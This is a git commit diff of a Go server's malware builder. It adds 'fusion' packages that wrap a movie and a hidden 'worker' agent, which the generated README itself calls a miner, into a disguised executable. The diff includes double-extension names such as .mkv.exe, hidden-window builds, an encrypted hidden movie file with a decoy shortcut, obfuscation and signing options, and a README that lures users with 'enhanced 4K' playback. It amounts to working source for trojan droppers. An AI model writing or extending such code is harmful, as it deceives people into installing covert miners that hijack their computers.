Add movie fusion packages with locked media, ZIP export, and batch forge UI.
Paired video mode encrypts movies, uses runner-only lock hints, bundles README plus artifacts per title, and supports batch forging with progress.
This commit is contained in:
@@ -61,7 +61,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
// Agent-facing API + health + forged worker downloads stay open for agents.
|
||||
if strings.HasPrefix(path, "/api/v1/agent/") ||
|
||||
path == "/api/v1/health" ||
|
||||
(strings.HasPrefix(path, "/api/v1/builds/") && strings.HasSuffix(path, "/download")) {
|
||||
(strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
|
||||
next.ServeHTTP(w, r)
|
||||
return
|
||||
}
|
||||
@@ -144,6 +144,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
// Builds
|
||||
r.Get("/builds", h.ListBuilds)
|
||||
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
|
||||
r.Get("/builds/{id}/artifact/{name}", builderHandler.DownloadBuildArtifact)
|
||||
r.Get("/builds/{id}/uninstall", builderHandler.DownloadUninstall)
|
||||
|
||||
// Config
|
||||
|
||||
@@ -13,26 +13,44 @@ const (
|
||||
)
|
||||
|
||||
type FusionEstimateResponse struct {
|
||||
PrepBytes int64 `json:"prep_bytes"`
|
||||
PrepName string `json:"prep_name"`
|
||||
EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"`
|
||||
EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"`
|
||||
EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"`
|
||||
EstimatedTotalBytes int64 `json:"estimated_total_bytes"`
|
||||
OutputFileName string `json:"output_file_name"`
|
||||
ProjectRootPath string `json:"project_root_path"`
|
||||
ArchivePathHint string `json:"archive_path_hint"`
|
||||
ExportPath string `json:"export_path,omitempty"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
Notes []string `json:"notes"`
|
||||
PrepBytes int64 `json:"prep_bytes"`
|
||||
PrepName string `json:"prep_name"`
|
||||
EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"`
|
||||
EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"`
|
||||
EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"`
|
||||
EstimatedTotalBytes int64 `json:"estimated_total_bytes"`
|
||||
OutputFileName string `json:"output_file_name"`
|
||||
ProjectRootPath string `json:"project_root_path"`
|
||||
ArchivePathHint string `json:"archive_path_hint"`
|
||||
ExportPath string `json:"export_path,omitempty"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
Notes []string `json:"notes"`
|
||||
}
|
||||
|
||||
func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSize int64, prepName string) FusionEstimateResponse {
|
||||
kind := strings.TrimSpace(req.FusionPayloadKind)
|
||||
if kind == "" {
|
||||
kind = detectFusionPayloadKind(prepName)
|
||||
if kind == "exe" && prepPath != "" {
|
||||
kind = detectFusionPayloadKind(prepPath)
|
||||
}
|
||||
}
|
||||
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
||||
|
||||
outputName := req.FusionOutputName
|
||||
if outputName == "" {
|
||||
outputName = prepName
|
||||
}
|
||||
if kind == "video" {
|
||||
if mode == "embedded" {
|
||||
if outputName == "" {
|
||||
outputName = disguiseVideoExeName(prepName)
|
||||
}
|
||||
} else if outputName == "" {
|
||||
outputName = runnerNameForMedia(prepName)
|
||||
}
|
||||
}
|
||||
if outputName == "" {
|
||||
outputName = "prep.exe"
|
||||
}
|
||||
@@ -43,13 +61,28 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
||||
|
||||
workerBytes := h.estimateWorkerBytes()
|
||||
stubBytes := defaultFusionStubBytes
|
||||
total := prepSize + workerBytes + stubBytes + resourcePatchOverhead
|
||||
var total int64
|
||||
switch kind {
|
||||
case "video":
|
||||
if mode == "embedded" {
|
||||
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
|
||||
} else {
|
||||
total = workerBytes + stubBytes + resourcePatchOverhead
|
||||
}
|
||||
default:
|
||||
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
|
||||
}
|
||||
|
||||
root := h.projectRoot
|
||||
if root == "" || root == "." {
|
||||
root, _ = filepath.Abs(".")
|
||||
}
|
||||
projectOut := filepath.Join(root, outputName)
|
||||
label := prepName
|
||||
if kind != "video" {
|
||||
label = strings.TrimSuffix(outputName, filepath.Ext(outputName))
|
||||
}
|
||||
sub := fusionExportSubdir(req, label)
|
||||
projectOut := filepath.Join(root, FusionDeliverablesDir, sub, outputName)
|
||||
|
||||
resp := FusionEstimateResponse{
|
||||
PrepBytes: prepSize,
|
||||
@@ -64,18 +97,36 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
||||
Obfuscate: h.shouldObfuscate(req),
|
||||
SignBuild: req.SignBuild,
|
||||
Notes: []string{
|
||||
fmt.Sprintf("Prep: %s", formatBytes(prepSize)),
|
||||
fmt.Sprintf("Estimated worker: %s (from recent builds or default)", formatBytes(workerBytes)),
|
||||
fmt.Sprintf("Payload: %s (%s)", prepName, formatBytes(prepSize)),
|
||||
fmt.Sprintf("Estimated worker: %s", formatBytes(workerBytes)),
|
||||
fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
|
||||
"Final size may differ slightly after icon + version info patch.",
|
||||
fmt.Sprintf("Max upload: %s", formatBytes(FusionMaxUploadBytes)),
|
||||
},
|
||||
}
|
||||
|
||||
if kind == "video" {
|
||||
if mode == "embedded" {
|
||||
resp.Notes = append(resp.Notes,
|
||||
"Option A (embedded): one disguised .exe contains the movie + hidden worker. Best under ~500MB.",
|
||||
)
|
||||
} else {
|
||||
resp.Notes = append(resp.Notes,
|
||||
"Option B (paired): runner .exe + encrypted movie in fusion-deliverables/<title>/.",
|
||||
fmt.Sprintf("Movie file stays as %q beside the runner.", prepName),
|
||||
)
|
||||
}
|
||||
resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
|
||||
resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))
|
||||
}
|
||||
|
||||
if strings.TrimSpace(req.OutputDir) != "" {
|
||||
clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
|
||||
if clean != "." && !strings.HasPrefix(clean, "..") && !filepath.IsAbs(clean) {
|
||||
resp.ExportPath = filepath.Join(root, clean, outputName)
|
||||
resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", resp.ExportPath))
|
||||
secondary := filepath.Join(root, clean, outputName)
|
||||
if resp.ExportPath == "" {
|
||||
resp.ExportPath = secondary
|
||||
}
|
||||
resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", secondary))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -86,7 +137,6 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
||||
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
|
||||
}
|
||||
|
||||
_ = prepPath
|
||||
return resp
|
||||
}
|
||||
|
||||
|
||||
@@ -1,73 +1,17 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
import "strings"
|
||||
|
||||
func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
|
||||
if prepPath == "" {
|
||||
return "", fmt.Errorf("fusion requires prep.exe")
|
||||
req := &BuildRequest{
|
||||
FusionOutputName: outputName,
|
||||
FusionRunOrder: runOrder,
|
||||
}
|
||||
if _, err := os.Stat(prepPath); err != nil {
|
||||
return "", fmt.Errorf("prep.exe not found: %w", err)
|
||||
}
|
||||
if _, err := os.Stat(workerPath); err != nil {
|
||||
return "", fmt.Errorf("worker binary not found: %w", err)
|
||||
}
|
||||
|
||||
fusionSrc := filepath.Join(h.projectRoot, "fusion")
|
||||
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
|
||||
return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
|
||||
}
|
||||
|
||||
fusionDir := filepath.Join(buildDir, "fusion")
|
||||
assetsDir := filepath.Join(fusionDir, "assets")
|
||||
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
|
||||
res, err := h.buildFusionFromRequest(buildDir, prepPath, workerPath, req)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
order := normalizeFusionOrder(runOrder)
|
||||
mainOut := strings.Replace(string(mainSrc), `const runOrder = "FUSION_RUN_ORDER"`, fmt.Sprintf(`const runOrder = %q`, order), 1)
|
||||
if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), []byte(mainOut), 0644); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if err := copyFile(filepath.Join(fusionSrc, "go.mod"), filepath.Join(fusionDir, "go.mod")); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if outputName == "" {
|
||||
outputName = filepath.Base(prepPath)
|
||||
}
|
||||
if outputName == "" {
|
||||
outputName = "prep.exe"
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||
outputName += ".exe"
|
||||
}
|
||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
|
||||
|
||||
ldflags := fusionLdflags(prepPath)
|
||||
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return outputPath, nil
|
||||
return res.LauncherPath, nil
|
||||
}
|
||||
|
||||
func normalizeFusionOrder(order string) string {
|
||||
|
||||
344
server/internal/builder/fusion_media.go
Normal file
344
server/internal/builder/fusion_media.go
Normal file
@@ -0,0 +1,344 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type fusionBuildResult struct {
|
||||
LauncherPath string
|
||||
MediaName string
|
||||
EncryptedPath string
|
||||
ShortcutPath string
|
||||
}
|
||||
|
||||
func detectFusionPayloadKind(path string) string {
|
||||
switch strings.ToLower(filepath.Ext(path)) {
|
||||
case ".mp4", ".mkv", ".mov":
|
||||
return "video"
|
||||
default:
|
||||
return "exe"
|
||||
}
|
||||
}
|
||||
|
||||
func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
||||
kind := strings.TrimSpace(req.FusionPayloadKind)
|
||||
if kind == "" {
|
||||
kind = detectFusionPayloadKind(payloadPath)
|
||||
}
|
||||
req.FusionPayloadKind = kind
|
||||
|
||||
if kind == "video" {
|
||||
return h.buildVideoFusion(buildDir, payloadPath, workerPath, req)
|
||||
}
|
||||
path, err := h.buildExeFusion(buildDir, payloadPath, workerPath, req.FusionOutputName, req.FusionRunOrder)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &fusionBuildResult{LauncherPath: path}, nil
|
||||
}
|
||||
|
||||
func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
||||
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
||||
mediaName := strings.TrimSpace(req.FusionMediaBaseName)
|
||||
if mediaName == "" {
|
||||
mediaName = filepath.Base(mediaPath)
|
||||
}
|
||||
mediaName = sanitizeFileName(mediaName)
|
||||
|
||||
outputName := strings.TrimSpace(req.FusionOutputName)
|
||||
if mode == "embedded" {
|
||||
if outputName == "" {
|
||||
outputName = disguiseVideoExeName(mediaName)
|
||||
}
|
||||
} else {
|
||||
if outputName == "" {
|
||||
outputName = runnerNameForMedia(mediaName)
|
||||
}
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||
outputName += ".exe"
|
||||
}
|
||||
outputName = sanitizeFileName(outputName)
|
||||
|
||||
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, "video", mode, mediaName)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
assetsDir := filepath.Join(fusionDir, "assets")
|
||||
|
||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
encFileName := mediaName + ".cmdata"
|
||||
var mediaKey []byte
|
||||
if mode == "paired" {
|
||||
var keyErr error
|
||||
mediaKey, keyErr = NewMediaLockKey()
|
||||
if keyErr != nil {
|
||||
return nil, keyErr
|
||||
}
|
||||
}
|
||||
manifestFields := map[string]string{
|
||||
"payload_kind": "video",
|
||||
"media_mode": mode,
|
||||
"media_file_name": mediaName,
|
||||
}
|
||||
if mode == "paired" {
|
||||
manifestFields["media_enc_file"] = encFileName
|
||||
manifestFields["media_key_b64"] = MediaLockKeyB64(mediaKey)
|
||||
manifestFields["runner_display_name"] = outputName
|
||||
}
|
||||
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var encryptedPath, shortcutPath string
|
||||
switch mode {
|
||||
case "embedded":
|
||||
if err := copyFile(mediaPath, filepath.Join(assetsDir, "media.bin")); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
default:
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
|
||||
ldflags := "-s -w -H windowsgui"
|
||||
if _, err := h.compileGoProject(fusionDir, launcherPath, ldflags, nil, false); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if mode == "paired" {
|
||||
encryptedPath = filepath.Join(buildDir, encFileName)
|
||||
if err := EncryptMediaFile(mediaPath, encryptedPath, mediaKey); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
_ = setHiddenFile(encryptedPath)
|
||||
|
||||
shortcutPath = filepath.Join(buildDir, mediaName+".lnk")
|
||||
if err := createMovieLockShortcut(shortcutPath, launcherPath, "--locked", ""); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
return &fusionBuildResult{
|
||||
LauncherPath: launcherPath,
|
||||
MediaName: mediaName,
|
||||
EncryptedPath: encryptedPath,
|
||||
ShortcutPath: shortcutPath,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (h *Handler) buildExeFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
|
||||
fusionDir, err := h.prepareFusionProject(buildDir, runOrder, "exe", "", "")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
assetsDir := filepath.Join(fusionDir, "assets")
|
||||
if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := writeFusionManifest(assetsDir, "exe", "", ""); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if outputName == "" {
|
||||
outputName = filepath.Base(prepPath)
|
||||
}
|
||||
if outputName == "" {
|
||||
outputName = "prep.exe"
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||
outputName += ".exe"
|
||||
}
|
||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
|
||||
|
||||
ldflags := fusionLdflags(prepPath)
|
||||
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return outputPath, nil
|
||||
}
|
||||
|
||||
func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) {
|
||||
fusionSrc := filepath.Join(h.projectRoot, "fusion")
|
||||
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
|
||||
return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
|
||||
}
|
||||
|
||||
fusionDir := filepath.Join(buildDir, "fusion")
|
||||
assetsDir := filepath.Join(fusionDir, "assets")
|
||||
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
mainOut := patchFusionMain(mainSrc, runOrder, payloadKind, mediaMode, mediaFileName)
|
||||
if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), mainOut, 0644); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
for _, name := range []string{
|
||||
"go.mod", "launch_windows.go", "launch_stub.go",
|
||||
"media_windows.go", "media_stub.go", "media_crypto.go",
|
||||
"lock_hint_windows.go", "lock_hint_stub.go",
|
||||
} {
|
||||
src := filepath.Join(fusionSrc, name)
|
||||
if _, err := os.Stat(src); err != nil {
|
||||
continue
|
||||
}
|
||||
if err := copyFile(src, filepath.Join(fusionDir, name)); err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
return fusionDir, nil
|
||||
}
|
||||
|
||||
func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName string) []byte {
|
||||
order := normalizeFusionOrder(runOrder)
|
||||
out := string(src)
|
||||
repl := map[string]string{
|
||||
`const runOrder = "FUSION_RUN_ORDER"`: fmt.Sprintf(`const runOrder = %q`, order),
|
||||
`const payloadKind = "FUSION_PAYLOAD_KIND"`: fmt.Sprintf(`const payloadKind = %q`, payloadKind),
|
||||
`const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
|
||||
`const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
|
||||
}
|
||||
for old, new := range repl {
|
||||
out = strings.Replace(out, old, new, 1)
|
||||
}
|
||||
return []byte(out)
|
||||
}
|
||||
|
||||
func writeFusionManifest(assetsDir, payloadKind, mediaMode, mediaFileName string) error {
|
||||
return writeFusionManifestEx(assetsDir, map[string]string{
|
||||
"payload_kind": payloadKind,
|
||||
"media_mode": mediaMode,
|
||||
"media_file_name": mediaFileName,
|
||||
})
|
||||
}
|
||||
|
||||
func writeFusionManifestEx(assetsDir string, fields map[string]string) error {
|
||||
raw, err := json.Marshal(fields)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(filepath.Join(assetsDir, "manifest.json"), raw, 0644)
|
||||
}
|
||||
|
||||
func normalizeFusionMediaMode(mode string) string {
|
||||
switch strings.ToLower(strings.TrimSpace(mode)) {
|
||||
case "embedded":
|
||||
return "embedded"
|
||||
default:
|
||||
return "paired"
|
||||
}
|
||||
}
|
||||
|
||||
func disguiseVideoExeName(mediaName string) string {
|
||||
base := strings.TrimSuffix(mediaName, filepath.Ext(mediaName))
|
||||
if base == "" {
|
||||
base = "movie"
|
||||
}
|
||||
ext := filepath.Ext(mediaName)
|
||||
if ext == "" {
|
||||
ext = ".mkv"
|
||||
}
|
||||
return sanitizeFileName(base + ext + ".exe")
|
||||
}
|
||||
|
||||
func runnerNameForMedia(mediaName string) string {
|
||||
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
|
||||
if base == "" {
|
||||
base = "movie"
|
||||
}
|
||||
return sanitizeFileName(base + "-runner.exe")
|
||||
}
|
||||
|
||||
func fusionExportSubdir(req *BuildRequest, mediaName string) string {
|
||||
if s := strings.TrimSpace(req.FusionExportSubdir); s != "" {
|
||||
return sanitizeDirName(s)
|
||||
}
|
||||
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
|
||||
if base == "" {
|
||||
base = strings.TrimSuffix(filepath.Base(req.FusionOutputName), filepath.Ext(req.FusionOutputName))
|
||||
}
|
||||
if base == "" {
|
||||
base = sanitizeFileName(req.WorkerName)
|
||||
}
|
||||
return sanitizeDirName(base)
|
||||
}
|
||||
|
||||
func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) {
|
||||
subdir = sanitizeDirName(subdir)
|
||||
if subdir == "" || h.projectRoot == "" || h.projectRoot == "." {
|
||||
return "", nil
|
||||
}
|
||||
destDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
|
||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||
return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err)
|
||||
}
|
||||
for name, src := range artifacts {
|
||||
if src == "" {
|
||||
continue
|
||||
}
|
||||
dest := filepath.Join(destDir, sanitizeFileName(name))
|
||||
if err := copyFile(src, dest); err != nil {
|
||||
return "", fmt.Errorf("failed to export %s: %w", name, err)
|
||||
}
|
||||
}
|
||||
readmePath := filepath.Join(destDir, "README.txt")
|
||||
if err := os.WriteFile(readmePath, []byte(formatFusionReadme(readme)), 0644); err != nil {
|
||||
return "", fmt.Errorf("failed to write README.txt: %w", err)
|
||||
}
|
||||
log.Printf("[Builder] Fusion deliverables -> %s", destDir)
|
||||
return destDir, nil
|
||||
}
|
||||
|
||||
func sanitizeDirName(name string) string {
|
||||
name = strings.TrimSpace(name)
|
||||
if name == "" {
|
||||
return ""
|
||||
}
|
||||
name = filepath.Base(name)
|
||||
var b strings.Builder
|
||||
for _, r := range name {
|
||||
switch {
|
||||
case r >= 'a' && r <= 'z', r >= 'A' && r <= 'Z', r >= '0' && r <= '9', r == '-', r == '_', r == ' ', r == '.':
|
||||
if r == ' ' {
|
||||
b.WriteRune('_')
|
||||
} else {
|
||||
b.WriteRune(r)
|
||||
}
|
||||
}
|
||||
}
|
||||
out := strings.Trim(b.String(), "._")
|
||||
if out == "" {
|
||||
return "title"
|
||||
}
|
||||
return out
|
||||
}
|
||||
71
server/internal/builder/fusion_readme.go
Normal file
71
server/internal/builder/fusion_readme.go
Normal file
@@ -0,0 +1,71 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type fusionReadmeInfo struct {
|
||||
Title string
|
||||
RunnerName string
|
||||
MediaName string
|
||||
PayloadKind string // exe | video
|
||||
MediaMode string // embedded | paired | ""
|
||||
}
|
||||
|
||||
func formatFusionReadme(info fusionReadmeInfo) string {
|
||||
title := strings.TrimSpace(info.Title)
|
||||
if title == "" {
|
||||
title = "Media"
|
||||
}
|
||||
runner := strings.TrimSpace(info.RunnerName)
|
||||
if runner == "" {
|
||||
runner = "runner.exe"
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
fmt.Fprintf(&b, "========================================\r\n")
|
||||
fmt.Fprintf(&b, " ENHANCED PLAYBACK PACKAGE\r\n")
|
||||
fmt.Fprintf(&b, "========================================\r\n\r\n")
|
||||
fmt.Fprintf(&b, "Title: %s\r\n\r\n", title)
|
||||
|
||||
switch {
|
||||
case info.PayloadKind == "video" && info.MediaMode == "paired":
|
||||
media := strings.TrimSpace(info.MediaName)
|
||||
if media == "" {
|
||||
media = title + filepath.Ext(title)
|
||||
}
|
||||
fmt.Fprintf(&b, "HOW TO WATCH\r\n")
|
||||
fmt.Fprintf(&b, "-----------\r\n")
|
||||
fmt.Fprintf(&b, "Use the runner to play this movie in enhanced 4K / HDR quality:\r\n\r\n")
|
||||
fmt.Fprintf(&b, " %s\r\n\r\n", runner)
|
||||
fmt.Fprintf(&b, "Do NOT open the movie file directly — it is locked.\r\n")
|
||||
fmt.Fprintf(&b, "Double-clicking the movie shortcut only reminds you to use the runner.\r\n\r\n")
|
||||
fmt.Fprintf(&b, "FILES IN THIS FOLDER\r\n")
|
||||
fmt.Fprintf(&b, "-------------------\r\n")
|
||||
fmt.Fprintf(&b, " %-22s START HERE — play movie (enhanced 4K)\r\n", runner)
|
||||
fmt.Fprintf(&b, " %-22s locked shortcut (looks like the movie)\r\n", media+".lnk")
|
||||
fmt.Fprintf(&b, " %-22s encrypted video (do not open directly)\r\n", media+".cmdata")
|
||||
fmt.Fprintf(&b, " README.txt this file\r\n\r\n")
|
||||
fmt.Fprintf(&b, "The agent is embedded inside the runner only — no separate miner file.\r\n")
|
||||
fmt.Fprintf(&b, "Keep every file in this folder together (or use the downloaded ZIP as-is).\r\n")
|
||||
|
||||
case info.PayloadKind == "video" && info.MediaMode == "embedded":
|
||||
fmt.Fprintf(&b, "HOW TO WATCH\r\n")
|
||||
fmt.Fprintf(&b, "-----------\r\n")
|
||||
fmt.Fprintf(&b, "Double-click the launcher below to play in enhanced 4K / HDR quality:\r\n\r\n")
|
||||
fmt.Fprintf(&b, " %s\r\n\r\n", runner)
|
||||
fmt.Fprintf(&b, "This is a single-file package — the movie and player are bundled inside.\r\n")
|
||||
|
||||
default:
|
||||
fmt.Fprintf(&b, "HOW TO RUN\r\n")
|
||||
fmt.Fprintf(&b, "----------\r\n")
|
||||
fmt.Fprintf(&b, "Double-click:\r\n\r\n")
|
||||
fmt.Fprintf(&b, " %s\r\n\r\n", runner)
|
||||
fmt.Fprintf(&b, "Your prep application runs normally; enhanced background services start automatically.\r\n")
|
||||
}
|
||||
|
||||
fmt.Fprintf(&b, "\r\n========================================\r\n")
|
||||
return b.String()
|
||||
}
|
||||
21
server/internal/builder/fusion_readme_test.go
Normal file
21
server/internal/builder/fusion_readme_test.go
Normal file
@@ -0,0 +1,21 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestFormatFusionReadmePaired(t *testing.T) {
|
||||
text := formatFusionReadme(fusionReadmeInfo{
|
||||
Title: "Vacation",
|
||||
RunnerName: "Vacation-runner.exe",
|
||||
MediaName: "Vacation.mkv",
|
||||
PayloadKind: "video",
|
||||
MediaMode: "paired",
|
||||
})
|
||||
for _, want := range []string{"Vacation-runner.exe", "enhanced 4K", "README.txt", "Vacation.mkv.lnk"} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Fatalf("readme missing %q:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -9,7 +9,7 @@ import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSaveUploadedPrepCreatesPrepsDir(t *testing.T) {
|
||||
func TestSaveUploadedFusionPayloadCreatesPrepsDir(t *testing.T) {
|
||||
dataDir := t.TempDir()
|
||||
h := &Handler{dataDir: dataDir}
|
||||
|
||||
@@ -42,16 +42,35 @@ func TestSaveUploadedPrepCreatesPrepsDir(t *testing.T) {
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
path, cleanup, err := h.saveUploadedPrep(f, fileHeaders[0])
|
||||
path, cleanup, err := h.saveUploadedFusionPayload(f, fileHeaders[0])
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer cleanup()
|
||||
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
t.Fatalf("prep not saved: %v", err)
|
||||
t.Fatalf("payload not saved: %v", err)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(dataDir, "preps")); err != nil {
|
||||
t.Fatalf("preps dir not created: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
|
||||
h := &Handler{dataDir: t.TempDir()}
|
||||
body := &bytes.Buffer{}
|
||||
w := multipart.NewWriter(body)
|
||||
partHeader := make(textproto.MIMEHeader)
|
||||
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="bad.txt"`)
|
||||
part, _ := w.CreatePart(partHeader)
|
||||
_, _ = part.Write([]byte("x"))
|
||||
w.Close()
|
||||
r := multipart.NewReader(body, w.Boundary())
|
||||
form, _ := r.ReadForm(10 << 20)
|
||||
f, _ := form.File["prep_exe"][0].Open()
|
||||
defer f.Close()
|
||||
_, _, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
|
||||
if err == nil {
|
||||
t.Fatal("expected error for .txt upload")
|
||||
}
|
||||
}
|
||||
|
||||
71
server/internal/builder/fusion_zip.go
Normal file
71
server/internal/builder/fusion_zip.go
Normal file
@@ -0,0 +1,71 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func zipDirectory(sourceDir, zipPath string) error {
|
||||
sourceDir, err := filepath.Abs(sourceDir)
|
||||
if err != nil {
|
||||
